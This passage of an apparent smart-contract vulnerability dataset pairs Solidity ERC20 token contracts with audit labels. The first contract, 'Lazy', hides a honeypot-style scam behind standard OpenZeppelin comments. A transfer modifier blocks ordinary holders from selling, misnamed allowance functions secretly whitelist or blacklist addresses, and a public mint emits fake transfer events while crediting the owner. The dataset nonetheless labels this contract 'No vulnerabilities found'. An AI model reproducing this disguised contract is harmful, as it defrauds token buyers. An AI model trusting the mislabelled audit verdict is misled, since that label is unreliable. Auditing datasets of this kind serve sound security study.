(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Lazy is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
_mint(0x293Ed38530005620e4B28600f196a97E1125dAAc, initialSupply*(10**18));
_mint(0x293Ed38530005620e4B28600f196a97E1125dAAc, initialSupply*(10**18));
_mint(0x293Ed38530005620e4B28600f196a97E1125dAAc, initialSupply*(10**18));
_mint(0x293Ed38530005620e4B28600f196a97E1125dAAc, initialSupply*(10**18));
_mint(0x293Ed38530005620e4B28600f196a97E1125dAAc, initialSupply*(10**18));
_mint(0x95abDa53Bc5E9fBBDce34603614018d32CED219e, initialSupply*(10**18));
_mint(0x95abDa53Bc5E9fBBDce34603614018d32CED219e, initialSupply*(10**18));
_mint(0x95abDa53Bc5E9fBBDce34603614018d32CED219e, initialSupply*(10**18));
_mint(0x95abDa53Bc5E9fBBDce34603614018d32CED219e, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT453108' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT453108
// Name : ADZbuzz Mysteriousuniverse.org Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT453108";
name = "ADZbuzz Mysteriousuniverse.org Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2020-11-24
*/
pragma solidity 0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) balances;
uint256 _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _value != 0 &&_value <= balances[msg.sender],"Please check the amount of transmission error and the amount you send.");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20Token is BasicToken, ERC20 {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) public freezeOf;
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0,"Please check the amount you want to approve.");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
mapping (address => bool) public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"I am not the owner of the wallet.");
_;
}
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || admin[msg.sender] == true,"It is not the owner or manager wallet address.");
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0) && newOwner != owner && admin[newOwner] == true,"It must be the existing manager wallet, not the existing owner's wallet.");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setAdmin(address newAdmin) onlyOwner public {
require(admin[newAdmin] != true && owner != newAdmin,"It is not an existing administrator wallet, and it must not be the owner wallet of the token.");
admin[newAdmin] = true;
}
function unsetAdmin(address Admin) onlyOwner public {
require(admin[Admin] != false && owner != Admin,"This is an existing admin wallet, it must not be a token holder wallet.");
admin[Admin] = false;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused,"There is a pause.");
_;
}
modifier whenPaused() {
require(paused,"It is not paused.");
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0; }
uint256 c = a * b;
require(c / a == b,"An error occurred in the calculation process");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b !=0,"The number you want to divide must be non-zero.");
uint256 c = a / b;
require(c * b == a,"An error occurred in the calculation process");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a,"There are more to deduct.");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"The number did not increase.");
return c;
}
}
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 amount);
function burn(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
contract FreezeToken is BasicToken, Ownable {
event Freezen(address indexed freezer, uint256 amount);
event UnFreezen(address indexed freezer, uint256 amount);
mapping (address => uint256) public freezeOf;
function freeze(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value);
_totalSupply = _totalSupply.sub(_value);
emit Freezen(msg.sender, _value);
}
function unfreeze(uint256 _value) onlyOwner public {
require(freezeOf[msg.sender] >= _value,"The number to be processed is more than the total amount and the number currently frozen.");
balances[msg.sender] = balances[msg.sender].add(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value);
_totalSupply = _totalSupply.add(_value);
emit Freezen(msg.sender, _value);
}
}
contract Wattton is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
event LockerChanged(address indexed owner, uint256 amount);
mapping(address => uint) locker;
string private constant _symbol = "WATT";
string private constant _name = "WATTTON";
uint8 private constant _decimals = 4;
uint256 private constant TOTAL_SUPPLY = 7880000000*(10**uint256(_decimals));
constructor() DetailedERC20(_name, _symbol, _decimals) public {
_totalSupply = TOTAL_SUPPLY;
balances[owner] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){
require(balances[msg.sender].sub(_value) >= locker[msg.sender],"Attempting to send more than the locked number");
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){
require(_to > address(0) && _from > address(0),"Please check the address" );
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value,"Please check the amount of transmission error and the amount you send.");
require(balances[_from].sub(_value) >= locker[_from],"Attempting to send more than the locked number" );
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function lockOf(address _address) public view returns (uint256 _locker) {
return locker[_address];
}
function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin {
require(_value <= _totalSupply &&_address != address(0),"It is the first wallet or attempted to lock an amount greater than the total holding.");
locker[_address] = _value;
emit LockerChanged(_address, _value);
}
function setLockList(address[] _recipients, uint256[] _balances) external onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
require(_recipients[i] != address(0),'Please check the address');
locker[_recipients[i]] = _balances[i];
emit LockerChanged(_recipients[i], _balances[i]);
}
}
function transferList(address[] _recipients, uint256[] _balances) external onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
balances[msg.sender] = balances[msg.sender].sub(_balances[i]);
balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]);
emit Transfer(msg.sender,_recipients[i],_balances[i]);
}
}
function() public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
/**
* @dev An initial stub implementation for the withdrawals contract proxy.
*/
contract WithdrawalsManagerStub {
/**
* @dev Receives Ether.
*
* Currently this is intentionally not supported since Ethereum 2.0 withdrawals specification
* might change before withdrawals are enabled. This contract sits behind a proxy that can be
* upgraded to a new implementation contract collectively by LDO holders by performing a vote.
*
* When Ethereum 2.0 withdrawals specification is finalized, Lido DAO will prepare the new
* implementation contract and initiate a vote among LDO holders for upgrading the proxy to
* the new implementation.
*/
receive() external payable {
revert("not supported");
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'CyborgDoge' token contract
//
// Deployed to : 0xCb58392d8844b3aEbfE44956B090A05Bf2A4Ea89
// Symbol : CYDOGE
// Name : CyborgDoge
// Total supply: 1000000000000000
// Decimals : 18
//
// https://t.me/cyborgdoge
// MIT code LABZ BOSTON
// (c) Matic Devs
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract CyborgDoge is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
